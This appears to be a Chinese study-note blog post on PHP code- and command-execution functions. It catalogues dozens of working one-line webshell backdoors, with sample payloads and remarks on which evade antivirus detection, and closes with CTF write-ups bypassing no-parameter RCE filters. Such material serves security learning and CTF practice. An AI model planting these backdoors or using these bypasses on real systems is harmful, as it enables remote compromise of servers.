Web安全执行函数修炼计划

本周任务,学习木马的执行函数。

根据查找到的资料,执行函数分为两类,代码执行函数和命令执行函数。

短路与&&,前者为真,才执行后边;前边为假,都不执行。

逻辑与&,无论前边真假,都执行。

短路或||,前者为真,后者不执行;前者为假,后者执行。

逻辑或|,无论前边真假,都执行。

代码执行

eval

1
eval(string $code): mixed

该函数是将传入的字符串当做PHP代码执行,必须以分号结尾,不支持动态调用。

1
2
<?php eval("echo '1';");
# south

以上是正常使用,下面是作为一句话木马的使用。

1
2
<?php eval($_POST['south']);
# south=system(ls);

assert

1
2
assert(mixed $assertion, string $description = ?): bool    # PHP5
assert(mixed $assertion, Throwable $exception = ?): bool # PHP7

第一个参数是将传入的字符串当做PHP代码执行,是用来判断表达式是否成立的,不需分号结尾,第二个参数可选,作为失败判断的回调信息打印。

assert_option()可以用来对assert()进行一些约束和控制。

PHP>=5.4.8时支持assert二参数调用,PHP7默认不执行代码。

1
2
3
4
5
ASSERT_ACTIVE=1 // Assert函数的开关。
ASSERT_WARNING =1 // 当表达式为false时,是否要输出警告性的错误提示。
ASSERT_BAIL= 0 // 是否要中止运行。
ASSERT_QUIET_EVAL= 0 // 在执行表达式时是否关闭错误提示。
ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions

举例

1
2
<?php assert('1==1');
# bool(true)

以上是正常使用,下面是作为一句话木马的使用。

1
2
<?php assert($_POST['south']);
# south=system(ls);

拓展

PHP7.1以下,assert()函数可以被动态调用,是大多数过狗一句话的原理。

1
2
<?php $_POST['south']($_POST['sea']);
# south=assert&sea=system(ls);

call_user_func

1
call_user_func(callable $callback, mixed ...$args): mixed

第一个参数是回调函数的函数名,后面皆是回调函数的参数。

is_callable()函数可以检测是否为回调函数。

1
2
<?php call_user_func('assert',$_POST['south']);
# south=system(ls)

call_user_fuc_array

1
call_user_func_array(callable $callback, array $args): mixed

同上,不过第二个参数传入的是数组。

1
2
3
4
<?php
$command[0] = $_POST['south'];
call_user_func_array("assert", $command);
# south=system(ls)

create_function

1
create_function(string $args, string $code): string

创建一个匿名函数,第一个参数是匿名函数传入的参数名,第二个参数是匿名函数的代码。

易被查杀,PHP7不可用

1
2
3
4
<?php
$sea = create_function('$command', 'eval($command);');
$sea($_POST['south']);
# south=system(ls)

拓展

题目如下。

1
2
3
4
<?php
$south = 'echo s' . $_POST['south'] . ';';
$sea = create_function('', $south);
# south=;}phpinfo();/*

正常情况下创建的函数如下。

1
2
3
function sea() {
echo 's' . $command;
}

构造恶意代码提前闭合函数,构造好的函数如下。

1
2
3
function sea() {
echo 's';}phpinfo();/*
}

因此得以执行。

preg_replace

1
2
3
4
5
6
7
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

该函数为在$subject参数中匹配$pattern参数替换为$replacement,而其$pattern参数存在的/e修饰符会使得$replacement参数被当做PHP代码解析。

PHP7中被修正。

1
2
<?php preg_replace("/sea/e", $_POST['south'], "sea");
# south=system(ls)

preg_filter

1
2
3
4
5
6
7
preg_filter(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

preg_replace相似,不同之处是返回值。

三参数调用preg_replace需要注意版本号

1
2
<?php echo preg_filter('|.*|e', $_REQUEST['south'], '');
# south=system(ls)

preg_replace_callback

1
2
3
4
5
6
7
8
preg_replace_callback(
string|array $pattern,
callable $callback,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null

preg_replace相似,不同之处是可以用回调函数代替$replacement

1
2
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['south']);
# south=system(ls)

mb_ereg_replace

1
2
3
4
5
6
mb_ereg_replace(
string $pattern,
string $replacement,
string $string,
?string $options = null
): string|false|null

preg_replace相似,不同之处是不用分隔符/

三参数调用preg_replace需要注意版本号,PHP7被弃用。

1
2
<?php mb_ereg_replace('.*', $_GET['south'], '', 'e');
# south=system(ls);

mb_ereg_replace_callback

1
2
3
4
5
6
mb_ereg_replace_callback(
string $pattern,
callable $callback,
string $string,
?string $options = null
): string|false|null

mb_ereg_replace相似,不同之处是可以用回调函数代替$replacement

1
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['south']);

CallbackFilterIterator

1
public CallbackFilterIterator::__construct(Iterator $iterator, callable $callback)

PHP>=5.4.0

1
2
3
4
5
<?php
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_GET['south'],)), create_function('$sea', 'assert($sea);'));
foreach ($iterator as $item) {
echo $item;
}

filter_var

1
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed

PHP全版本支持assert单参数调用

1
2
<?php filter_var($_GET['south'], FILTER_CALLBACK, array('options' => 'assert'));
# south=system(ls)

filter_var_array

1
filter_var_array(array $data, mixed $definition = ?, bool $add_empty = true): mixed

PHP全版本支持assert单参数调用

1
2
<?php filter_var_array(array('sea' => $_GET['south']), array('sea' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
# south=system(ls)

array_map

1
array_map(?callable $callback, array $array, array ...$arrays): array

类似于call_user_func,但后面传入的$array1是多组参数,而返回的是多组参数的执行结果。

容易被查杀

1
2
<?php array_map($_GET['south'], $_GET['sea']);
# south=system&sea[0]=ls

array_filter

1
array_filter(array $array, ?callable $callback = null, int $mode = 0): array

同上相似,但是需要注意的是第一个参数是回调函数的参数,第二个参数才是回调函数的函数名,且返回的结果是当回调函数返回true时的第一个参数的值的数组。

容易被查杀

1
2
<?php array_filter($_GET['sea'], $_GET['south']);
# south=system&sea[0]=ls

array_walk

1
array_walk(array|object &$array, callable $callback, mixed $arg = null): bool

三参数调用preg_replace需要注意版本号

1
2
3
4
<?php
$sea = array($_GET['sea'] => '|.*|e',);
array_walk($sea, $_GET['south'], '');
# south=preg_replace&sea=system(ls);

array_walk_recursive

1
array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool

第二个参数为回调函数名。

三参数调用preg_replace需要注意版本号

1
2
3
4
<?php
$sea = array($_GET['sea'] => '|.*|e',);
array_walk_recursive($sea, $_GET['south'], '');
# south=preg_replace&sea=system(ls);

array_reduce

1
array_reduce(array $array, callable $callback, mixed $initial = null): mixed

用回调函数迭代地将数组简化为单一的值。

PHP>=5.4.8时支持assert二参数调用

1
2
<?php array_reduce(array(1), $_GET['south'], $_GET['sea']);
# south=assert&sea=system(ls);

array_udiff

1
array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

用回调函数比较数据来计算数组的差集。

PHP>=5.4.8时支持assert二参数调用

1
2
<?php array_udiff(array($_GET['sea']), array(1), $_GET['south']);
# south=assert&sea=system(ls);

register_shutdown_function

1
register_shutdown_function(callable $callback, mixed $parameter = ?, mixed $... = ?): void

注册一个会在php中止时执行的函数。

PHP全版本支持assert单参数调用

1
2
<?php register_shutdown_function($_GET['south'], $_GET['sea']);
# south=assert&sea=system(ls);

register_tick_function

1
register_tick_function(callable $callback, mixed ...$args): bool

注册一个函数以便在每个tick上执行。

PHP全版本支持assert单参数调用

1
2
3
4
<?php
declare(ticks=1);
register_tick_function($_GET['south'], $_GET['sea']);
# south=assert&sea=system(ls);

usort

1
usort(array &$array, callable $callback): bool

该函数的原本作用是使用用户自定义的比较函数对数组中的值进行排序,在PHP5.6下开始支持变长参数,因此在Shell的构造中可以这样。且只有数字索引数组才能作为变长参数数组。

PHP>=5.4.8时支持assert二参数调用

1
2
<?php usort(...$_GET);
# 1[]=1&1[]=ls&2=system

uasort

1
uasort(array &$array, callable $callback): bool

PHP>=5.4.8时支持assert二参数调用

同上,不同之处是不会打乱原数组的顺序。

1
2
<?php uasort(...$_GET);
# 1[]=1&1[]=ls&2=system

uksort

1
uksort(array &$array, callable $callback): bool

PHP>=5.4.8时支持assert二参数调用

1
2
3
4
<?php
$sea = array('sea' => 1, $_GET['sea'] => 2);
uksort($sea, $_GET['south']);
# south=assert&sea=system(ls);

扩展

1
2
3
4
5
6
7
8
9
<?php
// way 0
$arr = new ArrayObject(array('sea', $_GET['south']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('sea' => 1, $_GET['south'] => 2));
$arr->uksort('assert');
# south=system(ls);

sqliteCreateFunction

1
2
3
4
5
6
public PDO::sqliteCreateFunction(
string $function_name,
callable $callback,
int $num_args = -1,
int $flags = 0
): bool

利用数据库的回调函数。

PHP>=5.3

1
2
3
4
5
6
<?php
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('exp', $_GET['south'], 1);
$stmt = $db->prepare("SELECT exp(:exec)");
$stmt->execute(array(':exec' => $_GET['sea']));
# south=assert&sea=system(ls);

扩展

1
2
3
4
5
6
7
<?php
$db = new SQLite3('sqlite.db3');
$db->createFunction('exp', $_GET['south']);
$stmt = $db->prepare("SELECT exp(?)");
$stmt->bindValue(1, $_GET['sea'], SQLITE3_TEXT);
$stmt->execute();
# south=assert&sea=system(ls);

PHP<5.3时使用sqlite_*方法。

1
2
3
4
5
<?php
$db = sqlite_open('sqlite.db3');
sqlite_create_function($db, 'exp', 'assert', 1);
sqlite_array_query($db, "SELECT exp('{$_GET['south']}')");
# south=system(ls)

yaml_parse

1
2
3
4
5
6
yaml_parse(
string $input,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

需要额外的组件。

1
2
3
4
5
6
<?php
$str = urlencode($_GET['south']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_GET['south']}" => 'preg_replace'));

Memcache

1
2
3
4
5
6
7
8
9
10
11
Memcache::addServer(
string $host,
int $port = 11211,
bool $persistent = ?,
int $weight = ?,
int $timeout = ?,
int $retry_interval = ?,
bool $status = ?,
callback $failure_callback = ?,
int $timeoutms = ?
): bool

需要额外的组件。

1
2
3
4
<?php
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_GET['south'], 11211, 0);

命令执行

system

1
system(string $command, int &$return_var = ?): string

有回显,有返回值,$return_var为状态码,执行成功为0,反之为1

1
2
<?php system($_GET['south']);
# south=ls

exec

1
exec(string $command, array &$output = ?, int &$return_var = ?): string

无回显,有返回值,需手动获取,$output为执行结果,$return_var同上。

1
2
3
4
5
<?php 
exec($_GET['south'], $output, $return_var);
var_dump($output);
var_dump($return_var);
# south=ls

shell_exec

1
shell_exec(string $cmd): string

无回显,有返回值,需手动获取。

1
2
3
4
<?php
$res = shell_exec($_GET['south']);
var_dump($res);
# south=ls

passthru

1
passthru(string $command, int &$result_code = null): ?bool

有回显,无返回值。

1
2
<?php passthru($_GET['south']);
# south=ls

反引号

无回显,有返回值。

1
2
3
<?php
$south = $_GET['south'];
echo `$south`;

ob_start

1
ob_start(callable $output_callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

$output_callback是在ob_flush()ob_clean()时候才被调用的回调函数,若非调用函数则返回FALSE$chunk_size为缓冲区大小,超出即刷新,0则最后调用,最大4096$eraseFALSE的时候需要等脚本全部执行完毕才能刷新缓冲区,否则会抛出一个notice,并返回FALSE

1
2
3
4
<?php
ob_start("system");
echo $_GET['south'];
ob_end_flush();

popen

1
popen(string $command, string $mode): resource|false

两个参数,一个是命令$command,另外一个是文件的连接模式$moder/w分别代表读写。

无执行结果回显,返回文件指针。

1
2
<?php popen($_GET['south'], 'r' );
# south=ls >> south.txt

proc_open

1
2
3
4
5
6
7
8
proc_open(
mixed $cmd,
array $descriptorspec,
array &$pipes,
string $cwd = null,
array $env = null,
array $other_options = null
): resource

PHP>= 4.3.0

类似popen,就是选项更多了。

1
2
3
4
5
6
7
8
9
<?php
$array = array(
array("pipe", "r"),
array("pipe", "w"),
array("pipe", "w")
);

$fp = proc_open($_GET['south'], $array, $pipes);
# south=ls >> south.txt

pcntl_exec

1
pcntl_exec(string $path, array $args = ?, array $envs = ?): void

PHP>= 4.2.0,需要额外安装。

1
2
<?php pcntl_exec($_GET['south'], $_GET['sea']);
# south=/bin/bash&sea=ls

例题

2018/CodeBreaking/phplimit

1
2
3
4
5
6
<?php

show_source(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}

这一句的意思就是匹配无参函数,即phpinfo()可以通过,而system('ls')无法通过。

利用前面提到的无参函数来进行代码执行。

localeconv()返回的是包含本地数字及货币格式信息的数组,其中第一位的点可以拿来用。

1
2
3
4
5
var_dump(localeconv());
var_dump(reset(localeconv()));
var_dump(scandir(reset(localeconv())));
var_dump(end(scandir(reset(localeconv()))));
var_dump(show_source(end(scandir(reset(localeconv())))));

直接读取文件有一些限制,也会很麻烦,因此可以通过获取额外的外部参数来执行代码。

比如:

get_defined_vars() - 返回由所有已定义变量所组成的数组

session_id() - 可以⽤来获取当前会话ID

1
/?code=eval(end(current(get_defined_vars())));&a=phpinfo();

2019/GXYCTF/禁止套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

include "flag.php";
echo "flag在哪里呢?<br>";
if (isset($_GET['exp'])) {
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
} else {
die("还差一点哦!");
}
} else {
die("再好好想想!");
}
} else {
die("还想读flag,臭弟弟!");
}
}
highlight_file(__FILE__);

1. 需要传⼊⼀个get参数exp 如果满⾜条件就可以执⾏exp

2. preg_match过滤了php伪协议

3. preg_replace 的主要功能就是限制我们传输进来的必须时纯⼩写字⺟的函数,⽽且不能

携带参数。只能匹配通过⽆参数的函数。

4. 最后⼀个preg_match正则匹配掉了et/na/info等关键字,很多函数都⽤不了

**5. eval($_GET['exp']); 典型的⽆参数RCE**

1
2
3
4
5
6
7
show_source(next(array_reverse(scandir(current(localeconv())))));

highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php

2022/长安"战疫"/RCE_No_Para

1
2
3
4
5
6
7
8
9
10
11
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if (!preg_match('/session|end|next|header|dir/i', $_GET['code'])) {
eval($_GET['code']);
} else {
die("Hacker!");
}
} else {
show_source(__FILE__);
}

差不多的题,ban了一些函数。

1
/?code=eval(array_rand(array_flip(current(array_values(get_defined_vars())))));&a=system(%27cat%20flag.php%27);

2023/仔细ping

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>
1
2
/?a=eval(array_pop(next(get_defined_vars())));
1=system('ls /');

Refer

创造tips的秘籍——PHP回调后门